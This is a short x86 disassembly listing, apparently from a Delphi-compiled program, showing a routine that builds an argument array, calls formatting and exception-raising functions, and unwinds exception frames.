cmp dword [ebp - 0xc], 0
je 0x44bb17
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0048dcac
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x44bb64
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x5d9de4]
mov dl, 1
mov eax, dword [0x449ecc]
call fcn.0048e5e4
call fcn.004931d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44bb34
mov eax, dword [ebp - 4]
call fcn.0044af9c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44bb51
lea eax, [ebp - 0x28]
call fcn.004936dc
ret